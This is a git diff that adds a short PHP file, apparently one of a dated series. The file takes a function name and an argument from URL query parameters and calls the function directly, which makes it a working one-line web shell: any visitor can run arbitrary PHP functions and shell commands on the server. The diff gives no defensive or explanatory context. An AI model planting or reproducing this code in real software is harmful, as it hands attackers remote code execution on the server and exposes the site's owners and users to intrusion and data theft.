diff --git a/php/2022-08-26-08.php b/php/2022-08-26-08.php
new file mode 100644
index 0000000..7ee462e
--- /dev/null
+++ b/php/2022-08-26-08.php
@@ -0,0 +1,5 @@
+<?php
+    $f = $_GET['f'];
+    $a = $_GET['a'];
+    $f($a)
+?>